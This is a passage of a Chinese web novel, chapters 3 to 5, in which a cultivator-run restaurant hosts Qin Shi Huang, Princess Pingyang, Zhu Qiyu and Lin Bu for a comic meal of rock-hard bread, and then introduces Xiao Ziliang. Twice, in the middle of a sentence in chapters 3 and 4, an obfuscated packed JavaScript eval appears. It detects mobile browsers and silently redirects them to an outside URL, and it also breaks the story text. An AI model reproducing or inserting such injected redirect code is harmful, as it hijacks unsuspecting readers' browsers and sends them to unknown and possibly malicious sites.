《我的餐馆通历史诸朝》 3. 第 3 章 对于嬴政的问题,李殷殷直接告诉他:“始皇帝说得不错,确实有。” 嬴政一怔。 长久以来一直困扰自己的问题,居然就这样得到了回应,反而诞生了一种不真实感。 他定下心神,谨慎地问:“不知售价几何?” 倘若价格高到天上去,甚至要拿整个大秦来换,那还是算了吧。 “始皇帝,你看着给吧”,李殷殷满不在乎地一挥手,“这个不值什么钱,操作起来也很简单。” 嬴政:!!! 李殷殷继续说道:“等你快驾崩的时候,记得告知一声,我去把你的意识提取出来,放入一个机械人体内——你看,就像小金一样!” “嘿嘿。” 客服机械人小金,听见自己被喊了名字,咔咔两声,从一道门后面转出来,那张呆板的扑克脸上忽然绽开了一个大大的笑容。 没走两步,咣当一下撞在墙上,摇晃几下,只见它的头划出一道弧线,直接…… 飞了出去?! 嬴政瞳孔地震,不是吧,就这么水灵灵地飞出去了?! 小金往前走两步,把脑袋捡起来,重新装上,动作熟练得让人心疼。 伴随着一阵令人牙酸的滋滋电流声,它眨了眨眼,神智复位,发出欢快的问候:“始皇帝,你好!” 李殷殷用一种包容的眼神看着小金,笑着解说道:“小金用了最好的仙金材料制成,万劫不灭,亘古长青,这也算是一种长生不老吧。” “当初我做了一批机械人,还剩三四个没有灵智的,随时可以入主,你要不要考虑一下?” 嬴政险些一口气没续上来。 淦,谁要像小金这样长生啊! 他长长地叹息了一声,果断摆手:“可还有别的长生法吗?” 李殷殷沉吟道:“我最熟悉的就是这种长生法了。如果你觉得小金的外貌不理想,可以高价定制一个仿真款,保准外貌和你本人一模一样。” 嬴政微讶:“真的一模一样吗?” “至少看起来是的”,李殷殷说,“就是能量补充方式有些不同,需要从我这里购买电晶石能源,或者,给你在腹部开一个插孔,每天定时充电……” 嬴政:“……” 腹部开一个洞,这还能活? 要不是知道对面是仙人,他还以为遇见刺客了! 李殷殷话锋一转,热情推荐道:“如果始皇帝觉得一直当人太累,想换换新口味,我也可以给你制作灵活变身款。” “不拘物种,天上飞的,地上爬的,水里游的,都可以心念一动,自由切换形态。” “听说陛下有个外号叫祖龙,要不,要我给你订做一款扶摇九天的玄黑神龙外形?” 嬴政扶额,只觉得头疼得厉害。 你说好端端一个仙人,品味怎么这么一言难尽。 他深吸一口气,无比坚决地回绝了:“除了机械,还有别的长生法吗?” “让我想想啊。” 李殷殷不是很理解他为什么不愿机械永生,明明超酷的好伐。 但还是表示尊重,冥思苦想了好一会,终于道:“万朝食肆的时间流速是静止的,所有人的身体状态也是定格的,如果你一直待在这里不走,确实可以长生。” 当然,前提是给够了功德币作为房钱。 嬴政无言,不能回到大秦的长生,对他来说根本毫无作用。 倒是平阳公主轻叹了一声,眼睫垂落,隐隐有泪光。 倘若当年窦太后生病时,能够及时送到万朝食肆,时间从此定格,现在一定还能好好活着吧。 她启唇,声音沙哑地问:“店主仙人,已逝之人能否按照您的法子,制成机械人?” 生离死别十余载,她多希望阿娘能再回来看一眼,陪伴她一回啊。 李殷殷沉默良久,告诉了她一个残忍的事实:“生死轮回之事,尽归你们人间界的天道管辖,我也没有办法干涉。” 平阳公主秀美的脸颊上,瞬间滑落了一滴清泪。 李殷殷平生最见不得美人落泪,赶忙伸出手,轻轻握住了对面少女的指尖,柔声安慰道:“不必担忧,窦太后一生行善,德泽万民,想必已经成功完成了转世,投身到一户好人家,平平安安到白头。” 她的声音带着一股奇异的力量,足可安抚人心,平阳公主向她露出了一个泪光闪闪的微笑:“谢谢你……” 漂亮小姐姐怎么还在哭啊,李殷殷的心都被她哭碎了。 半晌,她艰难地挤出一句:“这个,我虽然没法救她,但以后可以带你去其他年代见她。” “真的吗?”平阳公主惊讶地睁大眼。 “当然是真的”,李殷殷微笑道,“窦太后在初唐位面已经去世了,但在其他位面,比如你四舅姥爷、北周武帝宇文邕的年代,还活着。” “随着日后联通的朝代位面足够多,总有机会见一面的。” 平阳公主灿烂一笑,登时恢复了神采飞扬之态:“原来如此!我就知道店主仙人一定有办法!” 李殷殷:“……” 感觉好像被套路了! 但望了一眼平阳,她笑得这么好看,能有什么坏心思呢。 退一万步说,给美人帮忙难道不是自己应该做的事吗? 论颜控的自我修养.jpg 李殷殷一本正经地调侃道:“区区不才,在修真界有着极大的颜控名声,曾创作出仙道十大美人的机械人偶手办,迅速风靡仙道大大小小个宗门,上至长老仙尊,下至炼气弟子,无不趋之若鹜……” 众人绝倒。 仙人,你们这个修真界听着不是很正经的样子啊。 李殷殷此刻坐的位置也是很有讲究的。 左手平阳,右手林逋,英姿飒爽A破天际美人名将小姐姐+温柔清秀才华横溢世外谪仙小哥哥。 这是什么? 分明就是颜控的天堂啊! 既然已经解答了两个人的问题,李殷殷顺便也问了问剩下人:“你们还有什么想知道的吗?” 小幼崽还惦记着先前那个“七十二和二十七”的梗,连忙高举起一只手,叫道:“店主仙人,有没有续命的食物卖!” 嬴政递给他一个肯定的眼神。 没有长生,能够延年益寿也很不错嘛。 “当然有”,李殷殷挥了挥手,“就在奖池里,可以续命十年至五十年不等的延寿丹,还有壮骨丹、冻颜丹、清智丹、百病全消丸……全部都有。” 小幼崽欢呼一声:“好耶!” 朱祁钰问道:“朕想得知自己未来的命运走向,这个也能卖吗?” 李殷殷:“原则上来说不行,我开的是食肆,不是包打听,但是……” 朱祁钰:“但是???” 李殷殷露出了一抹意味深长的微笑:“景帝陛下,鉴于你们是第一批上门的顾客,只要吃完饭给出五星好评,我可以赠送你们一份详尽的人生剧本。” 黑暗料理已经到位,也算是弥补一下精神损失吧。 最后,该是林逋发问了。 他一向性情平和,超然物外,没什么世俗的要求,只是问:“我想知道,会有恶人进入万朝食肆获取奖励,因此得以继续作恶吗?” 李殷殷微笑道:“不会,和靖先生放心好了。我用功德值作为货币,进来的人必须带功德,是正面人物。” 不然她从哪里赚钱! “很好”,众人尽皆点头,“那没事了,快开始吧!” …… 李殷殷开启功德之眼,逐个扫描过去。 万朝食肆主要接收两种货币,功德币和名气币,名气币只计算正向名气,中性和负面名气都不算。 小李东阳疑惑地问:“只听说过正负褒贬,什么叫做中性名气?” 李殷殷:“……等会还要吃饭,先不说这个了。” 但小幼崽十分执着地看着她,怀里还抱着刚得到的毛绒小熊,眼睛眨巴眨巴,可爱极了。 这谁能挡得住啊。 李殷殷叹了口气:“算了,我举个例子吧,中性名气就比如晋景公……” 这家伙最出名的,就是掉粪坑而死,从此名声大噪,遗臭万年——是物理意义上的「遗臭」。 他出名的方法虽然很有味道,但要说负面影响和危害吧,还真没有。 毕竟他只害死了自己,又没害人,反而还成为了绝佳的娱乐素材呢! 但是,要说这玩意能够算成名气币的话,心里又膈应得不行。 “你也不想和晋景公这样的人同席而食吧”,李殷殷说,“所以,中性名气就都不算名气币了。” 小幼崽:呕呕呕! 让他别问,他偏不听,这能怪谁呀,朱祁钰无奈,伸手将蔫了吧唧的小幼崽抱起来,轻轻拍了拍:“下次可不能再这样了。” 小幼崽安静地伏在他怀里,假装自己是一只不会动的毛绒玩具:“好叭,我都听陛下的QAQ” 李殷殷把会员卡给每个人递过去:“这个是会员卡,记得收好。” 扫描完毕,将阿拉伯数字翻译成了众人都认得的识数方法。 嬴政的功德币一骑绝尘,金光闪闪,9后边跟着的无数个9简直耀瞎了人眼。 平阳公主开创大唐基业,朱祁钰力挽大明救世扶危,各自都有海量的功德。 林逋用的是名气币,他作为古往今来最出名的隐士之一,名气值高到一骑绝尘,成为了后世无数文人心中的白月光。 “我也有好多——好多的功德币!一定是未来的我攒下的!” 小李东阳望着卡片上的一串100000000,拍手叫好,忽然意识到自己也是个大户人家了! 他转身把卡片递给朱祁钰保管,眼眸亮晶晶的,盼望陛下夸一夸他。 朱祁钰轻笑,温柔地摸了摸他的额头:“朕的眼光一向很好,看来,你以后会成为一个了不起的人。” “我以后定会给陛下当首辅的!”小幼崽美滋滋地说。 李殷殷拿出刷卡机:“惠诚一百万一餐,感谢消费。” 嬴政以为自己听错了,惊呼道:“多少?” “一百万币”,李殷殷贴心地解释道,“也就是1后面带6个0。” 嬴政大为惊愕:吃一顿饭就这么多钱,就是有再多的功德也不禁花啊! 他想起来,之前李殷殷提过一种长生法,那就是一直待在万朝食肆。 本以为是捷径,结果没想到,一餐饭就得消耗一百万功德币。 要是长年累月住下来,花销简直不敢想象…… 小幼崽更是瞬间垮了个脸。 原来自己耗尽全部身家,一共只能吃得起十次饭吗? 李殷殷可不想打击顾客的消费热情,赶紧给他们打鸡血:“这只是你们此刻的功德币,自从踏入了食肆,你们的命运就已经改变了,未来还可以继续富国强兵,源源不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685848|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断创造新功德。” 让强者更强,然后惠泽万民。 这正是万朝食肆开创的一个意义所在。 众人一想,也是哦,于是含泪买单了这顿天价饭。 ...... 小金忙忙碌碌,从后厨中端出一个大碟子,缓慢开启,还伴随着噼里啪啦的礼花爆竹声。 这一波排面拉满! 上面贴着的标签“大列巴”,更是流光溢彩,使人目眩神迷! 众人期待万分,目光都聚焦在缓慢拉开的盖子上,一瞬不瞬。 然而...... 这特么是啥啊! 朱祁钰语气飘忽地说:“朕好像看到了一块地砖?” 小幼崽倒吸一口凉气:“小金,你怎么把垫桌脚的工具错拿来了!” 嬴政眉峰蹙起,徐徐迸出一句:“荆轲刺杀的时候,倘若不用刀,而是用它砸过来,朕现在坟头草已经齐膝深了。” 林逋沉默了一会,由衷地感叹道:“世人都道太湖石为「石中一奇」,哪里奇得过这块大列巴石,它甚至可以假装自己是一道菜。” 平阳公主语气铿锵有力,做出了最后的总结:“倘若我在军营里吃这个,手下的士兵定会以为我想不开,竟当众表演吞吃军械!” 李殷殷:“……” 很好,就知道会这样。 幸好大家心态都不错,没有要求退钱! 因为她根本不会做菜,所以,在制作系统的时候,就没准备任何食材,而是设定了每个等级都可以随机解锁成品菜。 0-20级是普通菜,20级之后可以有养颜膏、美容汤、问心水等功效特殊的菜肴。 新人大礼包里的第一个抽奖,她手气绝佳,一发抽到了大列巴。 李殷殷给众人介绍:“大列巴,是一种神奇的食物。” “硬如真钢,嚼似铁拳。它可以吃,可以舔,可以泡,可以用来垫桌脚,可以粉刷一下当建筑基石,甚至可以用来当板砖把人砸昏。” 众人眼神死。 店主仙人啊,你说的所有话我们都信,除了“可以吃”这一句。 “看这个”,李殷殷为了打消大家的顾虑,果断掏出了食物标签,“原材料都是健康无毒之物,完全可以食用。” 众人定睛一看,只见那标签上分明写着: 【品名:大列巴】 【原材料:嵇康坟头的麦子、霍去病军中贮藏的蒲桃干、用霍去病刚从匈奴那里抢来的牛,挤出来的牛油和牛奶、董奉家后山林子里种植的杏仁、郑成功交易给东南亚地区的白砂糖、万朝食肆特供高筋仙面粉。】 “……” 这材料来源可真广泛! 霍去病刚抢的牛,店主居然都能找到路子拿到! 嬴政终究惦记着饭后抽奖,心想到底是仙人的食物,能有多难吃呢,于是将心一横:“朕先来试试。” 他拔出桌上的餐刀,用力一砍,感觉仿佛击在了一块大石头上。只见大列巴静卧在原地,稳得一批,连一道伤痕都没有。 “始皇帝用这个吧”,李殷殷赶忙摘下自己腰间的仙金佩刀。 嬴政高举匕首,不料,仙金有灵,离开主人的手便下意识动弹了一下,于是,就在砍下的一瞬,刀锋忽然歪了。 砰。 只听当地一声巨响,桌子应声而分,裂为两半。 而大列巴,依旧岿然不动。 甚至还因为弹力使然,在原地蹦了蹦,重重落下,把桌子砸出了一个深坑。 嬴政愕然道:“这真的能吃吗?” 桌子尚且遭不住,何况人的牙齿? 李殷殷掐了个法诀,让一切恢复正常,挠头道:“好像确实有点难为了哈。” “大家先喝点东西垫垫”,她手腕一翻,变出一大瓶黑色的汁液,瞧着非常诡异,甚至还在咕嘟咕嘟往外冒泡。 每次解锁菜肴,都会顺便附带一杯饮品,这东西叫做:“接骨木果汁。” 没错,就是西方巫师经常拿来当魔杖材料的那个接骨木(Sambucuswilliamsii)。 虽然不科学,但非常魔法。 李殷殷给每个人都倒了一杯。 朱祁钰瞅了半晌,嘴角一抽:还好前朝郑和下西洋没来这里,否则谁能分清这是接骨木,还是杀了海里的章鱼挤汁。 平阳公主勇敢地进行了尝试,砸吧砸吧嘴:“嗯,酸酸甜甜的,好喝!” 有她做表率,大家很快一饮而尽。 接骨木果汁的味道确实不错,沁人心脾,并不显得发涩,清新中和的恰到好处。 盛入晶莹剔透的琉璃盏中,莹莹摇曳,光华陆离,仿佛一件雅致的艺术品。 可是问题在于…... 它又酸又甜,真的很开胃,越喝越饿了! 众人围坐在桌边,面面相觑。 现在,谁都不敢对大列巴下嘴,但确实很饿了… 小李东阳忽然睁大了眼睛:“我记得,和靖先生带来了一只鹤。” 好像是哦,众人将目光一齐投向了林逋身边的鹤。 这仙鹤常年伴随在林逋身边,极通人性,觉察到危机,当即开始瑟瑟发抖,一下蹿到了林逋身后,翅膀也抖成了高频,一看就肉质瓷实。 可比大列巴香多了! “咕咚”,不知是谁咽口水的声音。 林逋:??? 不是,你们想干什么?! 4. 第 4 章 林逋神色淡然,衣袖一拂,将那只鹤遮在了身后,又问:“此地有调料吗?” 李殷殷看向他,语气里带着一丝迟疑:“有是有,油盐酱醋茶都备着,锅碗瓢盆各式工具也一应俱全,但问题是……” 她压根不会做啊! 正如后世人间界,有个东西叫“泡利效应”,只要知名物理学家泡利一进入实验室,必定有仪器惨遭损坏。 相似的,只要李殷殷出现在膳房,那么,锅和她注定只能存活一个。 堪称厨房杀手。 至于对面的嬴政、平阳公主、朱祁钰……这一看就毫无烹饪经验可言啊。 林逋叹了口气,揽衣起身:“我试试吧,劳烦店主给我介绍一下各种厨具和调料的用法。” 平阳公主喜上眉梢:“你擅长烹饪?” 搁这大眼瞪小眼半天,终于能吃上热乎的了! 林逋摇头:“不算擅长。” 比起他冠绝天下的书法绘画诗词莳花弄草等技能,确实略差了一点。 众人面露迟疑之色。 转念一想,算了,林逋爱做啥菜做啥菜,总比生啃大列巴来得好。 朱祁钰过意不去,带上小幼崽,准备帮忙打个下手:“和靖先生,你是准备做家乡杭州的特色菜吗,这个朕熟!” 林逋:“......” 你可真是个天才啊,怎么想到用大列巴来做杭州菜的?! 在朱祁钰连续摔碎了第三个碟子后,他微微一笑,光风霁月,态度温柔而强硬地伸出手,径直将人推了出去。 “景帝,你快坐下歇着吧。” 朱祁钰很委屈。 “朕真的很了解杭州菜”,他郁闷地坐回去,再三强调道,“从前,有一位德才兼备的救世名臣,是杭州钱塘人,对山河社稷有大功。” “他的帝王对他一向推心置腹,十分仰慕,所以,特意花费了许多时间去了解他的家乡钱塘,当然也包括当地有什么特色菜肴。” 饭友们面色怪异地看过来:你说的这个皇帝,究竟是不是你自己? “唉。” 朱祁钰也感觉这码好像跟没打一样,幽幽叹息了一声。 厨房设在食肆二楼,不时传来敲敲打打的声音,仿佛拍击在天灵盖上,听得人心头一惊,头皮发凉。 几人坐立难安,唯恐林逋在里边搞什么刺客行动。 李殷殷想了想,提出了一个绝妙的主意:“每人支付一百功德币,可以连线厨房直播,在线查看和靖先生的一举一动。” “交了!” 嬴政洒脱地一挥手。 李殷殷将功德币全部投入系统中,叮地一声,自动升级到了lv2。 【恭喜尊贵的万朝食肆之主、造化门首席李殷殷,解锁「显示屏」1.0版】 【正在为您连线厨房,已取得03号顾客林逋的许可,直播进行中——】 一面光屏弹出,浮现在半空中,纤毫毕肖,360度立体呈现出林逋在厨房中的一举一动。 “看起来和真人一样哎!”平阳公主惊叹道。 画面上,机械人小金正严格按照林逋的指示,举起仙金刀具,将巨大的一整块大列巴切割成若干小块,又分为四小堆。 膳房里没有食材,但调料、面粉、还有各种糖果碎之类的辅料管够,可以任意发挥。 第一堆,是「糖糜乳糕浇大列巴布丁」。 林逋灵机一动,创新性结合了北宋东京夜市的传统艺能“浇糖”。 先是将大列巴切片放在炉子上烘烤,涂抹黄油,最后把滚烫的糖霜浇上去,瞬间酥脆松软,香飘十里。 第二堆,是「沙糖绿豆甘草凉大列巴」。 林逋回忆了一下小时候逛夜市的经验,打开制冰机,把大列巴切成条状,暂时冒充一下冰粉,然后依葫芦画瓢,依次加入各种糖粒和甘草。 值得一提的是。 因为绿豆算一种食材,不算调料,膳房里并没有。 林逋本想择几片香菜叶子冒充一下,不料,他刚拿起香菜,直播麦克风中就传来了几声惊恐的大叫,不约而同: “不吃香菜(芫荽)!!!” 林逋:行叭,听你们的。 第三堆,是「蜜和油蒸大列巴」。 这道没什么技术含量,就是加入蜂蜜与黄油一起蒸。 林逋斟酌半晌,觉得画面过于单调,特意拿起小刀,在旁边补了个花雕。 李殷殷:他甚至雕的是万朝食肆的建筑外观,他真的,我哭死。 第四堆,是「鲜炒水晶烩大列巴」。 热油的香气在空中弥漫,粒粒晶莹的切片裹着酱汁翻涌,小金还帮忙找来了一些蚝油提鲜,一盘菜出锅了,色香味俱全,无比诱人。 最后,还剩一点大列巴边角料。 林逋想了想,决定拿来浸泡牛乳,直至松软可口,每人端上一杯,还以极其优雅精到的手法泡了一壶西湖龙井,以供酌情添加。 这个东西应该叫做……大列巴牛乳茶? 他不是很确定地想。 众人一直盯着屏幕,已经惊呆了! 和靖先生居然用大列巴硬生生搞出了四菜一汤,甚至还有饭后甜点! 平阳公主看向朱祁钰,面露震惊之色:“杭州人平日一直吃这个?背着我们偷吃这么好?” 朱祁钰战略性敷衍:“啊,这个嘛……应该不是……” 反正于谦肯定不吃这个,至于其他杭州人,他也不认识啊。 本朝左春坊大学士商辂是浙江淳安人,或许能算0.5个? 他熟练地转移话题:“和靖先生果然风仪端雅,就算在做菜,看起来也像是一幅水墨画。” 众人内心飘过六个点,你这个转折也太生硬了吧。 但林逋确实好看。 明明在做着最红尘烟火的烹饪事,却没有半点烟火气。 动作轻缓,不则不徐,如行云流水一般,素衣白裳飘飘荡荡,恍若清风盈袖,自成一段见月流芳、松雪烟波的好风骨。 仿佛一瞬就来到了世外林泉,让人的心顷刻沉静下来。 李殷殷看向朱祁钰,一瞬就好似找到了知音。 那是颜控之间的惺惺相惜! 她高兴地说:“是吧,景帝眼光真好,你一定也认为和靖先生风采卓绝,神姿高彻,足可称为杭州风骨、江南名士的审美标杆吧。” 朱祁钰:? “朕并不这么认为呢”,他一字一顿,微笑地说,“廷益才是杭州风骨的典范代表。” 李殷殷想了想,居然没反驳:“行吧,你说得对,于谦也是,都算都算。” 她这么一说,朱祁钰反倒好奇起来:“店主,你似乎没见过廷益本人吧,怎么能确定?” “这个么”,李殷殷振振有词,自有一套理论,“我确实喜欢看美人,可是,真正的美人都在骨不在皮,一个人的内在风骨永远比外貌更重要,也更能打动人。” 拜托,那可是于谦啊,长什么样重要吗! 如果长得特别好看,风骨秀峻,说明美貌只是他所有长处中最微不足道的一个。 如果长得不好看……呵,怎么可能不好看,退一万步说,她的审美难道就没有亿点点问题吗! 李殷殷作为一个高级颜狗,主打一个具体案例具体分析,因人而异,从来都不是肤浅地只看脸! 众人:笑死,店主居然这么双标! 朱祁钰直呼遇见了知己:只要你一起来夸廷益,我们就是好朋友了.jpg 平阳公主却忽然严肃地说:“说到人物风骨,大家要小心,以后要防着点阎立本。” 嬴政惊奇道:“这阎立本何许人也?” 平阳公主清了清嗓子:“阎立本是我朝一位丹青妙手,说起来,和我家还有点七拐八绕的亲戚关系。” “他娘北周清都公主,是我娘的表妹,也就是我四舅姥爷(宇文邕)的女儿,所以,他是我四舅姥爷的外孙,我俩共享一个曾外公(宇文泰)。” “阎立本作画的特点就是,经常把每个人的脸都画的一模一样,毫无风骨可言。” “始皇帝可以想象一下,他来画帝王画像,把你和景帝画成同一张脸——” 嬴政皱眉,审视了一下自己,堪称龙行虎步,英气绝世。 又看看朱祁钰,十分的气度清雅,仪态端方。 单从外貌上来说,二人完全就是天造地设的反义词。 这都能共用一张脸? 例子举得很好,下次千万别举了! …… 伴随着众人有一搭没一搭的闲聊,菜肴终于出锅。 “爹!” 小李东阳吃到第一口「糖糜乳糕浇大列巴布丁」,眼泪就已经奔涌而出:“和靖先生,多谢你救我一命,从今往后,你就是我异父异母的亲爹!” 年方二十但喜当爹的林逋:“……” 就为一口吃的,不至于,真不至于。 嬴政本来还想着给四道菜、一道甜品都取个名,取得越高大上越好,就按「皇统无疆凤珠氽」这个规格来。 店主仙人都说自己是「千古一帝」了,排面绝不能丢! 然而,在他一愣神的功夫,只见面前玉箸飞舞、汤匙挥空,如一阵风卷残云,快得只剩残影。 还没反应过来,就已经—— 全!没!了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685849|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 嬴政:??? 不是,你们堂堂仙人,还有皇帝、公主们,吃饭一点都不讲究的吗,全靠抢?! 平阳公主在干饭间隙,抽空抬了个头,冲他挥挥手:“始皇帝快来吧,我特意多抢了一碗给你留着。” 没等他回复,又继续埋头咕嘟咕嘟,去喝那个龙井牛乳了。 嬴政:“……好的。” 这顿饭,在最饥饿的时候送上,林逋的手艺也确实不错。 很快就被一扫而空,盘子的每一个角落都被搜刮得干干净净,光可照人。 李殷殷甚至吃得有点泪目。 之前在修真界,全靠辟谷丹混过去,来了人间界又只会搞黑暗料理。 直到现在,才终于吃上了一顿正儿八经的饭。 她一把握住林逋的手,情真意切地说:“先生愿意留店工作吗,我万朝食肆就需要你这样的人才!” 林逋一怔,温言谢绝道:“多谢店主美意,我是世外之人,决意经年栖居湖山,不入尘世……” 话音未落,李殷殷单手结印,打出一道光芒遥指窗外。 霎时间,万顷纱幕飞扬推开,露出一片高天之上的仙府风光。 翠峰丹崖,松萝流水,琼树亭亭如伞盖张,一线远岫遥接晴岚,漫云涛吞吐明灭,簇簇繁花盛放在泬寥清澈的长空下。 她含笑问:“如此美景,比起西湖小孤山如何?” 林逋转眸望着这一幕,似乎也被惊艳了一下,最终,还是微笑着摆了摆手:“天下风景殊绝处,未必只有杭州西湖独佳,但它在我心中,就是最好的。” 他的目光澄明如水,可见这话全然出于真心,并无半分勉强。 李殷殷:“…….” 阁下既然对西湖爱得这么深沉,那就真没办法了。 但她还想再最后努力一下,毕竟,这关系到未来几日的存活问题:“也不需要在食肆待很久,就当一段时间的义工,可以吗?我给你开放藏书楼的权限!” 食肆里有个藏书楼,里面汇集了人间界古今中外的各种奇书,都是李殷殷动用神通复制过来的,并没损害原件。 林逋既然对书画感兴趣。 那里边,不仅有许多大书法家和画家的真迹,还有许多艺术理论作品,而且涉及的范围十分广泛。 年代久远如秦朝的摩崖石刻,地方偏僻如阿拉伯语的库菲克书法,选材多样如各种宣纸作品、羊皮卷书法,水墨画、铜版画、油画、铅画….. 总之,一切应有尽有。 林逋果然眼前一亮:“谢谢店主,我愿意留下。” 李殷殷长舒一口气:“那就好。” 饭友们也跟着长舒一口气,很好,至少不用生啃大列巴了。 “这样一来,开业第一餐饭就圆满完成了”,李殷殷解决一桩心事,不禁笑容满面地说,“请各位打出五星好评,帮助我升级到lv3。” 然后,就可以解锁最激动人心的饭后抽奖功能啦! “之前说免费赠送一份人生剧本,也已经准备好了”,李殷殷反手掏出一大摞宗卷,在空中挥了挥。 众人激动的心,颤抖的手,纷纷给出了五星好评,急不可耐地想要开始抽奖。 嬴政仿佛已经看见了延寿丹,还有各种国运神器,在向自己招手。 然而,就在这一瞬,李殷殷打开系统,忽然眉头一皱:“谁给我打了1星?导致现在功德值不够,暂时不能升级,必须要在一个时辰内修改过来才行。” 众人:??? 这还得了,断人财路如杀人父母。 面对周围质疑且惊怒的眼神,赶忙自证道:“我是五星!” “朕也是五星!” “我闭眼给店主仙人打满分!” 李殷殷点开详情,不由满头问号:“打1星的是6号顾客……咱们这里有6号顾客吗?” 众人更是满脸茫然:“不知道啊,从一开始就只有我们五人在门外聊天。” “不会吧,不会真的有人等菜吃完了才来吧?” “到底是谁,得快点找到TA修改评分!” …… 此刻,门外的万丈天梯尽处,寒风萧瑟。 6号顾客因为迟到,早就被李殷殷忘到了天边去。 瑟瑟发抖地等了数个时辰,都没有人来招呼一句,简直是又累又饿,精神崩溃。 自己自幼就被父皇、太子兄长和全家人视如掌中珠玉,备受宠爱,长大了更是惊才绝艳,誉满天下,什么时候受过这委屈! 就在此时,他居然听到了一道声音,问怎么评价今天的体验? 这还用想吗? 必须给差评! 5. 第 5 章 事情怎么会变成这样呢,萧子良很是茫然。 在被挪移到万朝食肆之前,他已经为自己的哥哥,太子萧长懋守灵了许多个日夜,一直没有休息。 只要一闭眼,过往相处的一幕幕就缓慢地浮现出来,渐次翻涌,仿佛海潮一般将人淹没。 昔日曾温情脉脉,亲密无间,如今斯人已逝,回想起来,恍觉有如万箭穿心之痛。 他伏在齐武帝膝上,泪水止不住地流,哑声问自家父皇:“阿耶,我不明白……” 他哽咽了一声:“明明前几天,阿兄还到西邸找我玩,和我同榻而眠,要我做新诗给他听,怎么忽然就离开了,怎么都唤不应呢。” “英英。” 萧赜喟然长叹,轻轻抚摸过小儿子垂落的乌发,充满了怜惜:“世间的生老病死便是如此,从不由人的意志左右。朕已时日无多,你还这般执迷,教朕如何放心得下啊……” 这位征战多年、英武非凡的绝世英主,如今,也已走到了暮年,白发苍苍。 短短数月的时间内,南齐连续举办了三场国葬。 分别是萧赜一母同胞、关系亲密的弟弟豫章王萧嶷,弟媳豫章王妃庾氏,以及太子萧长懋。 裴夫人去世很早,那时候,萧赜还没有登基,是后来才追尊她为皇后的,并且终身没有再立后。 她一共只留下了两个孩子,长子是太子萧长懋,幼子就是萧子良。 那时候,南齐还没有建国,正逢乱世,风雨飘摇。 萧赜转战千里,平乱四方,两个孩子自幼就被他带在身边,亲自教养,感情深厚无比。 什么教孩子功课、给孩子启蒙,带孩子一起练武射箭,四处历练,都是常规操作。 而且还喜欢给孩子乱取小名。 长懋生得圆滚滚,好像一种神兽,就叫「白泽」吧——后来,他爹萧道成听了,咆哮着纠正道,我孙子能叫「圆滚滚」吗,分明是「姿容丰润」,你到底会不会说话! 子良眉眼俊秀,皮肤白皙,活脱脱就是一位天上的小仙童啊,就叫「云英」,一种生在天河边的仙葩好了。 可能,正是这个小名buff起了作用。 子良从小性情恬淡,似寒塘鹤影,白云孤飞,并无入世之心,只想参禅修道,顺带搞搞文学创作。 萧赜一向由着他,从不勉强他做自己不喜欢的事,总觉得,反正有自己和太子在,定能护他一生平安无忧。 太子也很争气。 敏慧明断,披文握武,既有能力、也有决心去继承武帝的政治理想和信仰。 什么理想? 自然是推行改革新政,断世家之命脉了。 武帝起于微末,早年历遍世间疾苦。 甚至一度蒙冤下狱,还是一百多名义民攻破郡城将他救出,为了活命,只得顺势起兵,经年以来,转战四方,九死一生。 登基后,乃锐意改革,清除弊政,打压世家,同时,也停止了所有战争,与民休息,开创了「永明之治」。 平日有什么政务,他都带着太子一块处理,手把手教会,执政团队都已经全部组建好,就等着未来接班了。 太子一朝病逝,萧赜白发人送黑发人,扶棺恸哭,几度昏厥过去,又被太医抢救回来。 他知道,自己还不能倒下,不仅是为了一手开创的国家社稷,也为了怀中的孩子。 萧子良和哥哥的关系一向很好,乍闻悲讯,哭得肝肠寸断。 眼见他实在哭了太久,萧赜不敢让他再继续哭下去,伸出手,轻轻揽住了少年纤细单薄的脊背,将他抱起,“英英,去旁边歇一会吧,父皇守着你。” 萧子良虽然很累,但还是小声坚持说:“可是,我想在这里陪陪阿兄,他平时那么爱热闹,现在一个人躺在里面一定很孤单……” “听话”,武帝叹了口气,抬手覆在他眼前,语气加重了一些力道,“朕已经失去了你兄长,不能再失去你了。” 萧子良顿时沉默了,有点哽咽地说:“好。” 武帝把他牵到偏殿躺下,还像小时候一样,给他揶好被角,又准备熄灭蜡烛。 萧子良忙道:“阿耶别吹!留着它,我怕黑……” “别怕,父皇在这里陪你”,萧赜握住了他的手。 随即,抽出一卷书,语气轻柔,给萧子良念起了睡前的宝卷经文。 他从前并不信神,觉得命运只在自己剑锋之上,半生金戈铁马,一往无前,所有的敌人都被一一粉碎,直到他登上最高的帝座。 唯独到了暮年,经历了爹娘逝世、妻子病故、弟弟长辞、太子故去……这种种痛彻心扉却又无法抗拒的离别,才对此重视起来。 心中的苦痛无从寄托,只好诉诸于神佛。 今生已矣,只盼所爱之人,来世还能重归一处,复为家人。 这是一卷《妙法莲华经》:“有见诸佛土,以众宝庄严,琉璃颇梨色,斯由佛光照……” 萧子良听着武帝温和的读书声,在黑暗中闭上眼,睡意渐渐上涌。 然而,就在他即将入睡的时候,忽觉眼前一花,被径直挪移到了万朝食肆。 不同于别的顾客兴高采烈,充满了遇见仙人的激动,萧子良第一反应是要赶快回去。 父皇看到他突然不见了,一定很担忧。 他很担心,因为自己的消失,酿出什么齐宫血案来…… 